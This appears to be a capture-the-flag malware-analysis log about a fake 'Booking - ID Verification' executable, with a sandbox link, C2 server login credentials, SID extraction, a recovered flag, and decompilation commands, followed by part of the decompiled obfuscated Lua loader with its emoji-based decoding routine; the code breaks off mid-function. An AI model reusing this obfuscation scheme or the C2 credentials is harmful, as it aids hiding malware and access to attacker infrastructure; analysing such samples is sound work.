2025-10-25

image.png

๐Ÿ—„Booking - ID Verification.zip130KB
Enter any details to download the booking exe

image.png

https://app.any.run/tasks/6a604135-a1a7-4e07-a14e-8b58f7ff6bb9
run with the right sandbox settings 

image.png

image.png

login to the c2 server with the prometheus creds
"prometheus:PA4tqS5NHFpkQwumsd3D92cb"

image.png

Exctract with the SID from the log file.
500
This is the Relative Identifier (RID) from the binary SID structure in the provided byte sequence (last subauthority value, decimal). In Windows, RID 500 corresponds to the built-in Administrator accountโ€”likely the "right" target ID for privilege escalation or data access in this CTF scenario. The full decoded SID is S-1-5-21-3801804562-4118715378-2025092243-500.
๐Ÿ“„WINDOWS11-Administrator.log82B ๐Ÿ—„WINDOWS11-Administrator.zip4.7KB

image.png

image.png

extrcat the flag

image.png

flag{0a741a06d3b8227f75773e3195e1d641}
The lua extracted 

dd if=script.luac of=script_extracted_fixed.luac bs=1 skip=24356

java -jar unluac_2015_06_13.jar script_extracted_fixed.luac > script.lua

./luadec script_extracted.luac > script.lua

To decode the lua emojis
java -jar unluac.jar script.luac
๐Ÿ“Ž2script.decoded17KB ๐Ÿ“ƒ2script.lua145KB
--[[
  Set up package paths to look for dependencies (.lua, .dll)
  in the script's directory and a 'deps' subdirectory.
]]
do
  local exedir = (function()
    local p = arg and arg[0] or ""
    p = p:match("^(.*)[/\\]") or "."
    return p
  end)()
  local sep = package.config:sub(1, 1)
  local function J(a, b)
    return a .. sep .. b
  end
  local d = J(exedir, "deps")
  local luaPaths = table.concat({
    J(exedir, "?.lua"),
    J(exedir, "?" .. sep .. "init.lua"),
    J(d, "?.lua"),
    J(d, "?" .. sep .. "init.lua")
  }, ";")
  local dllPaths = table.concat({
    J(exedir, "?.dll"),
    J(d, "?.dll"),
    J(d, "?" .. sep .. "?.dll")
  }, ";")
  package.path = luaPaths .. ";" .. package.path
  package.cpath = dllPaths .. ";" .. package.cpath
end

--[[
  Obfuscation variables and the primary decoding function '__D'.
  __K is the default key/seed.
  The emoji-like strings are likely part of the encoding scheme or used elsewhere.
  __D reverses a custom Base16 (using emoji sequences) and applies XOR if a key is given.
]]
local __K = "RR3IL6YJTKWSXB3I6KRTAAVBFXUV2Q5BBDNBH5UTPAPCHZXKTJNYG5PALFL5VXAS2OVF3IPATW223ITWHHYEFUAAYXFJLO6IN662OXG33IBFO5XORQJFW24PFIWF4BWMVAAZ3LW3VPPKZLI4DQBBHFI6NRF4X3TCWK2FUK7VQXBHOCAZNDKZNUNIPOD3YRBWZDRWBHKZGQFXNZ6274TMH3I5D6JXS4IZDS33AGD45AWXC4GLBPG4L2S57EQ5B2Q5CFSFD4GF6BI5IMELFKIEZQXNN3FSP2XDCXF4453L4AUJE7TJUED7TCMMTAJ3HCLWOPUIBBTUXSI5N2X2BZ2BIKV4SC4TUBYHDEIEDCUC3C7ZKXHP3LBCP4BCTOXIJ27W7E5WMXGYV7A2KQMWDLZ6GROH2Y6LMWNG7VXXCP5OEKFBTXCCWVPI66LTGGQ5RK3SJJBBV4SN2JBQ5UGY7ZU5VX2FVTGOW2YNBRUHNJKO3JTKPPJX72RFRJ47EX7TXZPG7WJ4MQKFIAPCGVQD2LNKN6MRG5PFMDMM2GIXWBQKHUB37F4DMGDIQNU5PIKDTA6HI7NPC3YMNYALOXT25YQLLOAEGZ2H3FXOL5VD4O3G35XF22Q7SHAGIBH3JG4IQARIXY47HJFGU6P6EB3NZLHLTHFFLU5OYXITWPYTO2QRPT6A2FVO6PWQAIU5FXMWTBOJRLDGTJRLDQ72BAQFLBSUEYRZKY5O4ZHTQZRU3D7TIR7QTYJBKAG47YRSMWNYMHPUPG23LILCKB2TUWKBKGYOP2DQKT2AHHQM35L4LNO57BLRR65BHBO7IUO36ZRFKE3GBJSZUPZETHB32K7ONGKFSZYAIU677DEHNPYQYQSBCFQZI5RSSQNSVQ4YE64UVIPNWGVS5LCYELT5BFQC4QU7GXJLURGUUUIYN3JF2QHLJQ2V3ZMEO7Q3SFUMLLTXR4GVAAIAVPDGYCS62HS5IXWP4QFNLGBYSIKQ6OHZJSJENFETMLZP6VLJQNJUHJR3FIIQUW4J4W7QEYOTI6LVZ6YEQRNJIIQKWD3QQYCWIYSRHRGR7ZVWFTPSDQS37CA5W5J2PUMSSV3I74FZOJAQLAFG5YISBJQBKRT2KJSO6ZECXFZSOFHYEHMGOEDOSDJPOFUEYWNEH4NWMQAZ462FEU3DJM2Q6EO4FSZNN66CXN2QOF4TNLDYA2BM3HMQSHVT5DQJM5LJV4OXLS32H2PVX3LU4BDSRMOECPV4QQH4YTD7RMBOIOPW3RXCCSKXRCYXKUBECGLYGPO7SO7RBYCQFEUG6UYWUQZFZSL7WHPYOTNXD7BLWDFJ7JAXBYVNOLONJEWQENY5HI2ZPBZ2PHAGF65DFBK7FXD72KRNSMNYSHSCG72TZRYZ7CE4VBYPB56SIXTS3G3E25JIRVIAUZLAXI4P2H26ZNOHKNHFYF6YPKXFXCE55PR4WLZ5432QSMBMSTPDRZESHOP5HBZLCBNJ5M4DZNMV5USRAH34IVFMTHLL5F6CUUCVTNL6OUZLMXMWCAJ3L2CUGH6BBWBBWE4LIOVPGQ5W2QWJKTLUWITFBMVD2GW5NGN27VK4HV7N57FIHVSGZPHHUOFB7JKB6SDP2LVEYHOLGUGQ6IUC3AKFX65FCWD6WOHESIK2JF7R6CPWCODTBBYORV2CCEUU57OO43ISSEUKY4RMBWCFORSZ4QX7OBGIYH2TPWZDA55LAKXLSTGBD6OOKONJUGFC4QMYQV7RN2REBQNVMMNG56MPBXWDBCXKXKLDMY73NHAGMEONFXIWJWUXAJWXWKU33T4RXVDRHFE2E7KBKGXWBI4EMIEUQCK2J4Z5CDLSH7O5POPGUP4YQWQZZCVA77HGZDT3TRZV6EY3V43G7IJWMEBEUAAYJWSYRNAVHHMR7YNG47FP44Y7EGTKZAOB7PTW5IUVOXTWAC76S2VZYNEY5LMF4X355UPY6NGLBCJP4CZRSOGGTZXIZQKKAB4RYRP2FGZ7EUUXXYDR3K3PM74FGE7CMJ5KG6UYTSQSQLHB6RZRUR7OSBJVT2H3ERHFL5OCUMPWAYLTH56UE4FS5CNUZ3OQ7GWTETA5XJKHPRNMGFZ5QPACBYMPFTOE7ERY4Y2OVMAG4MRU6H5AW5R4WFJBTMTQFHP5O23HHQDFEEAC5MY2DWQPGSEJQ3CM3JENCYX47V5ODAQWGAG5PLVZ625ETWCOUNEHPKFXEMRACFYCIOUPSK335C4KNFO6S4Q464LDPTG5BJTZGNUUAYJMGAMPDTLPIRFEGUV2DDN3DQWLTNCSDFEZMLBSEZU2AFFPUUNBW6VWTLP4SLEPRHRVN5HOTSGCNSJSTRHGEOQ7NDFCBEI5WYTO6MU7POXM2BGN7LBWSFELPSHHKWAQABVDEYERRQ3L37NBUQGORTO2VHCBDQDTXWCLQCP5IH5N6FUA3UKETR5VYOB3NOHQTLMZ2MG3RDK37H4VUFDWQOBBUYN7RPGECPY3IQOPXAAGC6R5NCONGTVNC6Z7T7Q57IZQU7EUO3J6BALUPIYRIVZQZDYABML3JRJUFSM4BL322T5V63K273YZWGZDNUWERVBEDJKMQSYCVG266G2ZSJ6DUINNGMIXUHI7SQP72JBYQQBK5E57TEUMK23AJESKSMOMDJ55FIDEMDV47HMNFWGXV2JBLFOQCMJ3H52ZNIRLOFV6PUSPTIPOLCVV25OJTPXKCQGP76E3LIGNUZDI6IO26WFX3WASXJUYE2T4YHOYBYIKOABCFYOYHPMLLOMZHJWIQHLKYVQ2XULH34SY4MAWJFLW5ZPR447VGO2P63E6O746CRRP5XGXAIZDCRYMJOS3PKJUCIT2OBNVANXEGE6AAH7D6HPBHJHO43FW7PD5GYSMBOZEKJIFF6RF4YRQSTWG7XV7MBBMIOLNZ6BDB57DJGVNR34DZYF5XWDU4KIVTRMVHAXWJY27UM5CDOF5BWF6JXHSRPELGKMZFAAW3DDCXZB3K5INGHIT33OSAUQBAP5KV3VTPNNNIJTRSRHMT6PQSBCMQYA5IBCJU3TSSZJLCJFYVT2K4NMH6WZYKQQL7CWB2VJCHVWL76PN4R3XFMYLWOSFAOMWMTNGDEGC6Y6EP6ZWSHBSPH775GUIOZD4NYX6YWTKSWYILT5NF6H5UTO4L4FYZXT2DHQUTT5R3LT57IVZHJPHY6EPKU3XPISBCKTTJNZJQEMK7SFNMOZXV27TZIOOKIPHAMF2KWG24GGU62XWDCSU2JHVSLEDGONHAGFFHU5SGE4ZPFJ56HRXVGV5NPQIY236CHBP4GAQL4PQI3QBVKMI3BJ3BTJPI3VFWGNRCWGWMTOHE2YWAD7Q27GHID7LFFBCXZVTTCDTB3DWOC4GH5THHXL6N3OBPVZESJFUBOTTQMKSVTBI5KJYVHXVMLCRWEDMWVTT7HUHMGZYEL7YKSWIPFAQDXI2V3NZAW2W6U7XSWN2QDQIOQO5QJ6FHOMOY6477QE4WYE7EG3W6AFUSJYYMAGLOLUXDZYEROHWYPQYLJPLF7GWS3PIVMMWFVMVDTLO3PLU2TIBSZ6DJ24CPHFDCS47RVLT65KA5GHPZHRAUJGXVG3GUSJGPT3NGC7MATWXHAW5BO76RN77GYRL4MSEVZNB5BSG4FMJDI5KIEGGL7AL7QVBNZOROCEIRBB4PGH3UKLW5K4QHJFS3YRTM6KVYNXVIHZYNIJLYYODIXK5ILZB2SJXPSQRHVVZSXPTHKKIWT4M77V44OEADI7QUNYWKJAMLXBFRELZTLAFBH5WNCCSYO573DKQFMY3YUWQ2F7ADCZ56E653XFZS75HU7M7S3O76A7FV3RU7M4BD2UBF6ZQN66KOM5IRQJJXB3JWVEMQPHJI472CGW3R4G7HVAZYZNPIBZEBEB5FVARIRUICDJBSZPHRCWUC3SPR5FERFSV4EGRD67SWZRV6Y23KY2TN5NWCLBGQXDT3FY2D7L3A6N6GSYMB4FFGDXJVJDKBGXRE4DDFONPELZMPXN3VA2BT3F3AGYLXREMEQJIBVZCS6BP5OXUE5RB64BC65WPMXXR37ABRMUILFONPPT5WQ5ZZ72FULEYP463P42T5CNOZJKJ3PM4USOCH5W4BMZDVGRX4RJCRFEYDEY7HZQJNAAMGXTT3J27TJLWA54WFYFXYO2AYCMXGAEBRO2WL7HXOLOFCIPLSBLWTYCD6FX4IBTAJ3POSPNZP5GLPYI7D5OUABJW3FARZK54XOOQZKNXH3ND7IQCSKPMMMBAX4CQQYASCWI2JAKYSMOVWAKFHCXKFMTG7GEKXGVE5AE3QQKAMEGNGJX346F4STVPYLDKTKY7GFQ62PGWVYK7SMFVMA54LNANZ6IYWCPP2VSIZC5IQJCVKCD6NBXHKI7HECUW2WWVHQXBRU6QZZXP5QIB7F4CEXHJQGOFGDZZFAS5TNNOOJ6XOV6WUEE2XWPDSW5UE2YXNLTWNA2EY3DTIMW3F4JU57ZEVRAFDJD25NFETA3DJQVMSKSOMJEA6ZYBXUNKXL43QOKAJ7VH2CXH3L2AI7AQE3KSUWW2TYHLJ7UTO27SBM2MWC4QY2NTZPPO4DILC4F4TP2Q7CNFJDVXP7FIS7J7JIT5GSMO5W7OOQL22RP6YSB5QZ74SRNE56G54YHJHQDHTEACIVTIJOGHDJAVKQYMJHTCBMRT4RACOOMFI3OEGHG2PM7RKGCFFJEU4CSEJZVZABQ2NGW7U3NC462QVK6TTOTHNUARCJ2NZYUKCFV4DFR4MTBN2S6PTSUJGISCNBSJXALSHRIEAUER6D42VIBYOULT4U5VHYHCQ6PF32YR5SVGLSQYZYD35U5Z3XQ6BIZ2XOV5UJUGXMWKZJ5ZAU26V3QZS7MFDQUJTJFGLOHJSXNLBD2QBAFVWQE5GAO7GFXD2CNADTI4UGNGCTBLBFY7ZY5SGL4Q6K25UJGIBYEH2Z5C2GSNBXEKG4UWNAX3T5WMGVLSJWV7HVPDMSTGROYWMYYMXISCAS7WPXMCDMTPDB66USGFQP5SQOWTA4RWLUGXMVJ7QENL6EU5BGTTTRLEUNNZSHYR5RMDCJEIZ53KLBCRPSPUBSVCAMHZX7IKN2MVL2JJKYOZB6Y64BCKIB5YZDFXJ5GRTLXUK2N4GKYYCARVUFH7X4SJ5FE5NMYVAGMVBC3VCWYTEO33TEDRFZOK667FWR4EMGBSNPQYG4E7DTW4SUX3XW5QNER7G4TFZMWC3FBSPMI6JTUVGMGYPV2VEPM2BGADDQMXTAE2N32H57PVYIF7QVKTKKZMZ2P6J6AHARXWE5ZOCGZOPEQK5IZ2VX3DSQQG2IJ2AX5D3PPPJYWF6UZV6JWDW24YLP3KSHUX3XYMNQHDFKQTKRPP67MB77ACXU3UWJ7BFSPPKBUVQD4OJIJ3G2ALISJWOITTWIQJBQRQ4OZZ6FTPAT6IPJNSPAZWNFKM7VABEBOL2P37MKG3WS2BFZANOWHOLZKYEESDXPT3BIGCKCVN3V75OP2TPX7RUNZOILDLXGK33N7ZNDMWXFNDIO3U6LBSUBEIH3SQSZ3XGAROY5O3V7KT32QWUADDR3IBBONFBQ2NNM2YWCJKBPGKZVI674NPWEWQDRVHDMHN2SXUM335GV3N7VRBYWB3Y7R3M2XR4COEK6RLXBJRLUIRKOFBODJMYKKU4LDF7Q4Y3HCS4EZMR52CVIIMCXBGWRPPPJ34RCIKGOH4E7ZEX3FVX3ZTMPMFLNM67XIHNXUQEI34GILPK2IOIYJTWAANDGQQENJVJQT67BVOV2F36TVXZXCBX64WCQF462Y4Y576FPDR34H3JQLX5H65O4A5MWVQ3MQAVXHHYQTBGEETUV3TWHTWW3TRKSO6T2ZNAGM3S4YBSLE6CW3ZLDXTFJWZJZPZOOPJAOPU6CZ7DXR2KYHTK2SX5K44YUBGMZJ474O4IEFA5S54RU4HZNTBTKMXWPDV33B6B7NT57ZQPGMNTKTY4BJIGJJK4QMVYNIKWPQCUQVJ54YUC4JMOQOM2JYQVYNQGAYUW567YN65UAXERQCPYFMSXNJKOTNNWV3D332JLJOCPTJWQAJW3PH53ZVJU7CLH6YQSXYYKKKKJEEIRWFMGK6BTWYSWKNNFCJ7VZZU465JDE3HGVYIRPA6B6N2R5BI5QAABXV2RTHDTMGI435B4QGYWPYZU4T4CYWHVIBM4KX7CICTI3FLLKTLO26YIDJCYSJJVH52KKYATV3Z7Q7UNZQIBJQ4WY2RYQX2VTIYC3S7XMW45RG2QAIPAL4ZX5TRHY2T27HRSQ2NZMLJTOB55724KXXU427HY3XKC4UO23WAERAA5QO2S5BVFSH6RMI52EF6CA2HDXHLJQSG2EEFZA5YMVGSQDAUTBQIRDND6RIE5EU45VGJ7WBIEYP7FXVTCLSIYG2ILVU6JIM6HPTT6LGXKITQQKNSAS7G4APUXYOCR7YOMF357MGUSCBSQJVBC3RLZPRIM5GPIYCZ5SNLAUF7MYQW54ZXW5UCCNGGYYTXO2FPBDCCZ2YA6AADQYYMX3TP5OXYVTVRBFHBCKB5DDL6QTSO4B3RINR56R6RSOKHBLAQ4SIEB3X6UXOZKEF2WWM67ZJJE2VCTMS32BAH7FPOZKZZWWOLZ6UESINTUBBOE556KOEQZ3AZEYORTVY2XNC6FO4EPSP46FK6W7MHWVBLIYYRLF3FHCXKXYS2PB7ZVK4OQW3TZWYWZ6J4D7XNJMX3K645RWVV6WX5KLO5IA5G2ZQ3XZ4QQB5QVKU4RMI6DET3QLI4IJA5OLTNUSRDWZWWIWT4YKY4LKGQP5UTLD5TOKS5A3KQJFBOQ52BTEIOMCQT4Y2O5KNGCG6RPUYEYQZGVX4JLZII5NVZ4S2G75BHBNNXHCLT3FQRA32BEFF5KLESSHVGZXXZ6CECHSGGG66JQ625UCGJUFIKQKASKIWVDW7762CFZFXAMDCCFXX2MZZDQW4SQTLRPTHWF7QW4OQ6DG7YPI3YK7Y7K6Q6Q66Y2DC5AJUGP4DLIZC2SIJSTJRDJCCJ5LYYIQBJIPJUXMHJIBIJGP3FJQGAIJ5FZUK353XIPXETQEDEK3QVNVVCQZXIR4QQRROR4Z7IPMGTM32GDNSMCG6HLI2ZZTZV5T6KWYU6AZ72HZGU5HVG6ZJQD5TIQBH63YEJLF2LLZWC36HYD4CUXZNTVEI5CCUAGPNPQTCODCO67FBRN3FBB7QQKWJUOH33VBZBGZQO2C3ARDO3RIVIJZCWRERGWQEC4E4WPJATH3M5PPE6H35HRUJQC5MNMZQ6YNSICNCMFL2NTIKDLMN7HCOXVC3M66S2QUP3BVVJBZX3YH22RFXYLAEJ333OFBWJCQEZ4CK65N7BLYDT5NB6AG6ENQJVAMLFVPGI2P4D4OVC66EWYV3ZB2V37536WHEP2EQ6O6FKKQMUKXLG5XKOXLR6EAHOYN6IPZNQPGN3ZPA4PRLR55F7PHJLQXVTPNUSXW5DSV5MMLJ5QQ3EYHH23AP2Y4RJTH3DRRCM2RETBSOWIZWEL6L3TAKBYSIL4LY4STQR3VG6RZCPVFNHINPBGTA34RGMY2NJ6UQWYL2FWDGM4V3W74W5VLII75QRIM53X6PVD53XO5DR7R7RFMMRQF6QAAXZK4HSS3LVMXISIXTML3FOIV546TYL4KWRFA3F44U7SAILURDE42PVFGCXHGE54XDGUEBTCVRP53XNDZAW53T2PFJLLDSW3U6GPJLRZCICRFB67YFYGA45YEC2GREGNYJZAKHZBVLV22MJBGZS64YOCT7PEYQRTA26RRFAYBCRW7SVAEXZZIG2WJCFPLF5IFGVYFPYRGZ6GLAEHHVXXJOJS4ECNJSYT3BSR274K5GKGWMZMYMLXMMBW3BVQHBY6XMV5MKXSTXXS4LOSMBOKCFT6PDWPSCW2VLPUFSLKCSAUYUB4OQHG6MPU6P2LLAOPXSGXHV3VIBM2RSHTV24OK2V47LDIJRMKI57QHRWZR5HRN6NGOFI7UGB3GZGFJ3JPYG2ALYDKWJF6BVQXJVI3SLKYBN4ORXA6GSPVMPJVXIZ75XJ4XMSI27KOMMRPVUGEX3F3EXE33DJCVJOAJ5GW5ZWAXBEDXT7QPEIXUR2OJ3QQWHW243QYQO45ZOEJ6OLZVGIKYFUHUHH23XUURLWO5G4WM2R4NGJ6S7VJQOZOYBSQTJHLLQ7II7IAMCZQLS26FFEPEPQB44NQ3MLMTU5EGWOQM7TOBMETZAWKUSXBSW76S265ZFYBZ65YKR2FB7EJXVIT757WC4KRGRVAFKYSIIOQLKLLMY5WCWU2WGLSAWZLA6JCF6G2F4LJ2BU2U6LNVQPO4SNXBF23P46WMTRP24CR3BNYDOMYVAHRDLRMHF4RCSDGI3GVKHXM7WPC73H3NOV7JJX6YUDURIHGRX7G4BSHTZIU7POKZIU6AZGBPI5HN4LFBLFGPMFUIUUUZFWZFMVZUDR5X3AX375P4B46S3OU5EAAJQOTW4ACIP2WVNHWNABJUKLDQJDGHNPKFYQ5Y36GJ2BACYZ6UMVKCM37TTVAQMCIHG2EGL7E3FIUPDP2DLKV3L4T33GHLKZ4YWNSJFRZMLXAIDZIL3OIESIZJ3QOM3UM4RR7V5PS2Q2REREI2GJDGMMI2OTJE32FDSBA6EC4JAI7N4UZCHXCDYYZQW33VZAXHS5REVDN52KNM5R3DICLBGHHQNGFCMGL3FSKDPCKRJB4AGLNLL5OYRU6S7JN65T75BQ7CWTRXO4R7NGW3WQWTLXWYFYFGGOVG226LUK3ZB46G5HOEMYYFJGAW7NCBSYUBGUIWQBY752MCO45C3YBIVKHEQ7DGNZGILWMRC3LYTARXP6APVQGUS6Q4FCQPDAU3MCSBLOUTWZBXW3SVNWTQ4UYWW3JSOTIW37QGGDXUYFEJIMNOS2YR3NGY6PPJF3F3BHXAWXSLYVI3F6A6LWFRXZZX5BJXW4CIV76G2M5AU27OSQGY4NCGNL674HLHUGZ4AYEMXIUSYHGXQ3M5BILHATBBF4F6FKZUB3AM3SEDKBVYGAUFPL6HHWI2FKGHOAR2QXTPDMDGE5RG34UIKCQSMZSS3H4OSRLKA5P3WVEB3MFDXOASYXWA6GYQ73JDSEXKNYJ5Y3W4RYA3QSLP63HZDWSRIGJGMGARW2CB4SOBK3NL535YFVJ42X3HEVVCXCTVH6ZGJNF2W7LHD2YBDK46F7Q7ZF3R2ZYIR3NB6PDB3EOL76Z7UL4TRBLFQZY3JFGYCJNRPGSY7FLRLDUZTQSAIBJ2ZIRYT3TYRHWPLU6RF3DL6GPGM34BLPJSPAVSW25H76ST5XUHMMWQA7MGJPVXWUKFKNHPRCDT5NK7WRORDVCLVOASY6DBDZJY5IQLHKW6ZZOCKVXU5IGMCASTCBKVNZFPLIRLYH4OFQAADXUGHWG6SBOZT2Z4LSQ5CCFONZMDT6OZXYVH5ZQVQKVE6ZBZJK242CA27TIRSHJMNAZVLYMTORMIYPV7I24RXA3ZEJHWFW6WN2QPO7X3AZAKUAS2B6NWQRHJQT25ZDX7CO4M4L7RHY765FE6ZGMRW5TEQH5GPVICHRADP75Q7MC3B5Z74AQH3N3FCU3I7BHOSXNQKGZCZCEWCTEDYXDCE6UG4ZLYL2DHOWB3KDLCUJW5DQWW3WUZ2MZLLXJJCROFMSLAYFNFRJADZK2WOH5MARCJ6FDKFHCNZIXASN7QHN2NB2DMZZ4GSSXUBNLA42HAVU7BKEUYY4UW3H67VS4X4ZB5276HYU4SSVCJP2UGWO52ZE6YRYZNOZNL2EBYS44JHKUCEENH3YNFEKBMTDMUU5RABL4YNQORFQR5JFEYZM6KLVEYBQBPQQXJRH3MSD7SGII7TG6HMCQEEY5JDL4PW4PVRB27FTLT5B2PQBQJG5GKH6UINPSKVPX2I375BCSBLIIEYZIJK7S27LIAJJP7EX327KVSIYX2DP6TWX7NYB3OHF6CHNVGBBL3A5TSSH3MILUTHDNHR4YNAX562PDTGZAESP7F6WE3FZTIFV2JGF6UVW2ABEFNT3AOBOPP6UL7DCFSQ6ACNF6ZCHM6CRLFQ2XL355FGDJBRKRBQDI3JYAJUSFUPX4NSXAX4FG5ERU25CFBH7LD63BKBUX6BZ6CT7KM6WAQGSPESI5QNADWH63HT66OBNN5U7BVOO5VCY3KXDQ2SI6WUVKUUXDZPKNT4CFWR3UYYLFHUJDHON2DBRNPCNEPF6TEJTX4WOO5GTDTUYWZ34LMXRCPKQRQO5TF4EQDHYKC2P3QMXYVZXPSA6YHH4ECP6Y5Q3VP47P2KK26PHJ6G6NKWQERCG5RARCYZNV6I2ARIIZWP2MDVXCSCXSQQG4DOYMQ4X7PU4OOLZGE4WPEOB7XW3II737G3IRFB7B5EL5AMN6BIYTHVHYJ6WYW22IPI3XRLTYGJYTPPJCLEQEFKTWR76GWURMQ2QJYCFMLGIB4WJ5RKN4DCHPR3J6TQPCNSCIUVXNKWIM4CGTR6NF3XU6FMB5FOJZQLJLXYL662VRFR3LQAKFNFSKTCCBERBPH45QI4TLPAWWTIZIGJPMTZANOGJSFSRQXBU2QQQ2IZHZ6B7S53MNLKSXEY7IHLT5DYP7Z3P7BNKV5CLUBIRRD4PTEVHGN3GYZJQWQBMJ5TVFF7QXDXY2B7GXSJ6LJJBZGCJKOTLBMUUWQUB6QIMVO32S3COQF4C277Q3YXSFRNMBIFV2IA3I7KMHQOLFRLSLA2ERUIB6W764E2KGU5GXGCM2ZDUYSY4XY3A6SIZ3HVUJ6X4WLUZRARYZKD66AFWLPUSAFXAR3FBKY7W5YZAYCKW4NG6LQSZLTH3VPQCPCROKD45NZWNVQYC6Q565QUDL53LT3VDNKZATEYEM2EL7LSZYRFHJBBHKKT6CGTYMAFFUK6IVAHGZXFISVOFRVUUJOYXGJKVMG4IDNZSIKPEBGBAOEM7NVLNFOSC7BAL7B4QE7M2PY5DG7XP7ZA3DNZTBYDPWDRDBMTKNC5ULPVAXW6KX2BF3KDCEW3UGAXQFZB5IQSRH6SKZHXGBHMSYNXNEGYYBKRMDIH5TLU7UZ7GVVYGDXBS23WZG7XGZ6FFXWVGBBDSANYZJIMWUCYHYLISATG7I5SVYHJJFP72N7IFL254VCM6LGO6OYHE2OGXUF7EILOHSS7FE6IXOYOJXV2MQDTEBO23N5JPX6EAYQAZYWXW5WXBPTBAIIIEMGK6R5O7245VEZRRX33ODFLLVHQ6FPXBT72X6YAOOX7VYPSUVNSTNBGETXVZ4XMVZ4VJUTSWMMGIQHCALXQHLJJIEWBI735WTKCSSERDCKP2VYKDZQJBO2XNSMT6DKAQGB4HATPGDUMPWMK53QS623FF2FSQ5ERI2MCYCOOBB5RNNWU2NSIXPLFLFVNTJCO5LWOAJ2PFCZD36W2Q7LO3AGKABZTUJT72QOJMHAH3FMM56FHCAXPCNXNSWOQVB75TGS6PLOB24BR4PGOTCED4JPXPBZW4W5O6NG5W57CCPOODBO2GEB2D5HXL43IYI6AV6ZVNSPH3YMOB4IGLDZMALJ6B4PQHCFQRWO63XMMFMCGSFZN4CROTFG656WHRAWJUPUUVLNMIQE75CYAYGMLZ5O54JZBQYZJERJ3GRRJTOFVO7OFGHCYYNCX4QG5KEHTRY5FLCHEYXRYM754ELKI4XPBIA4ZJ5GCLLPKE26GFFWNNYYSWNOQGAKS7FRFQUCOAYF5VO7LJPDEPNSX4GRWCAHPCHP27T7WQU35FJ2S7COTX5PALM7SR4S27F5V2DMWJQJXL3OC2ZC3FKJFT24C2FYBIYJQ5AP4NAXJCPBXQQOP4TEAQILFLVMTHAGKGQVHBL7XFUOKM7N6T3AENFPUM2TSZNBDWUJNAENN23H5LGH427HEC6FOBBEJZEQXHU3H6UJV6ESK34OIF5RDKORY5LVOIBEZGEEOI5H4MDOQI65PVGFNMU5CPCNCTTGJHTGSEAVFPKV7343U76GEDE7LVOSXD3YRAJ7EBIDTFC4POK2UV3ENI55NQISOSV75BOHI3DLIO6RCCDY6TESYXIKIFWA5KQYAAMRSTUZJCPHRS6H3JOBAK4WRX5ZPS4RU33GCDAHCFTEZ3D73DYDDEN3KY7T3AP2KA2Y7ZHP6MJYKPSGB6WZWCRSENUE7DW762NMF6QGUZG6GTLDKTZN4ZZQFTTZFSQ6WDXYHUNNKOGE6EG2O4PIBCJMHPN5CNJLUWLMFURVOPLBRGTATFT2EV6IK4ZMMM6PJMCLUDXIORY26TS45TZQQDIMJMJUEXYVY5ZEZI2SCGREZG3EBC3SHB4JDYE325MM2TISKJJGUY635BJZGU74ZVZYKCVFF7SRSE624RKDWKKY6CXI6RFYESSMWKUX35NX6V4Z7S3BARYRDU7QOW2SGBHUC6MIAECOGCFYMWHBM4HDQQCUV5N5G7MUW2FVEECVDQXS2WOUYGX6UNMZRRWLDS5JVVFTLWMNIYHMMP6S7ZJEECCNUEA3DO5ZBJI2SO6OR2XHIKRGHM26RBO7VY5DWHW54IBVTJJZ5AQ74PSSSZHO"
local __P = true -- Flag indicating whether permutation is enabled for decoding
local __E_SPACE = "\240\159\144\160\240\159\144\153"
local __E_QUOTE = "\240\159\144\160\240\159\140\180"
local __E_BSQUOTE = "\240\159\140\138\240\159\144\172\240\159\165\165\240\159\140\138"
local __E_REDIR = "\240\159\144\160\240\159\144\153\240\159\140\138\240\159\140\138\240\159\140\180\240\159\144\160\240\159\165\165\240\159\140\186\240\159\144\172\240\159\140\186"
local __E_TAIL = "\240\159\144\160\240\159\144\153\240\159\140\138\240\159\166\128\240\159\144\162\240\159\144\160\240\159\166\136\240\159\165\165\240\159\144\179\240\159\144\153\240\159\144\139\240\159\144\179\240\159\165\165\240\159\144\153\240\159\140\136\240\159\144\179\240\159\166\128\240\159\165\165\240\159\140\186\240\159\140\139\240\159\140\136\240\159\165\165\240\159\144\160\240\159\144\139\240\159\140\186\240\159\140\180\240\159\166\128\240\159\144\154\240\159\165\165\240\159\140\138\240\159\144\172\240\159\144\172\240\159\140\138\240\159\144\160\240\159\144\179\240\159\140\180\240\159\144\161\240\159\140\136\240\159\166\128\240\159\140\139\240\159\144\161\240\159\144\162\240\159\144\160\240\159\144\179\240\159\166\128\240\159\165\165\240\159\144\162\240\159\166\136\240\159\140\180\240\159\144\160\240\159\144\162\240\159\144\153\240\159\140\186\240\159\140\186\240\159\166\128\240\159\166\136\240\159\144\160\240\159\166\136\240\159\140\136\240\159\144\154\240\159\166\136\240\159\140\139\240\159\144\154\240\159\144\153"
local __E_READA = "\240\159\144\160\240\159\144\161\240\159\144\161\240\159\144\172" -- Decodes to "*a"
local __U8 = function(a, b, c, d)
  return string.char(a, b, c, d)
end

-- Helper function to get the emoji-like character set used for encoding
local function __T()
  return {
    __U8(240, 159, 140, 186), __U8(240, 159, 140, 180), __U8(240, 159, 140, 138),
    __U8(240, 159, 140, 139), __U8(240, 159, 165, 165), __U8(240, 159, 140, 136),
    __U8(240, 159, 144, 162), __U8(240, 159, 144, 160), __U8(240, 159, 144, 172),
    __U8(240, 159, 144, 139), __U8(240, 159, 144, 154), __U8(240, 159, 144, 179),
    __U8(240, 159, 144, 161), __U8(240, 159, 166, 128), __U8(240, 159, 166, 136),
    __U8(240, 159, 144, 153)
  }
end

-- The main decoding function
local function __D(t, k)
  local T = __T() -- Get the character set
  -- Simple string hashing function
  local S = function(k)
    k = tostring(k or "")
    local s = 3237919422
    for i = 1, #k do
      s = (s * 1315423911 + k:byte(i)) % 4294967296
    end
    return s
  end
  -- Pseudo-random number generator (PRNG) based on seed
  local M = function(seed)
    return function()
      seed = (1664525 * seed + 1013904223) % 4294967296
      return seed
    end
  end
  -- Simple XOR function for 4 bits
  local X = function(a, b)
    local r, p = 0, 1
    for _ = 1, 4 do
      local A = a % 2
      local B = b % 2
      if (A + B) % 2 == 1 then r = r + p end
      a = (a - A) / 2
      b = (b - B) / 2
      p = p * 2
    end
    return r
  end

  if k == nil then k = __K end -- Default key if none provided
  local key_on = k ~= nil and k ~= ""
  local permute = __P == true and key_on -- Use permutation if __P is true and key exists
  local toklen = 4 -- Each encoded character sequence length
  local perm = {} -- Permutation table
  for n = 0, 15 do perm[n] = n end

  if permute then
    -- Generate permutation based on hash of key + "|perm"
    local r = M(S(tostring(k) .. "|perm"))
    for i = 15, 1, -1 do
      local j = r() % (i + 1)
      perm[i], perm[j] = perm[j], perm[i]
    end
  end

  -- Create the decoding map based on the (potentially permuted) character set
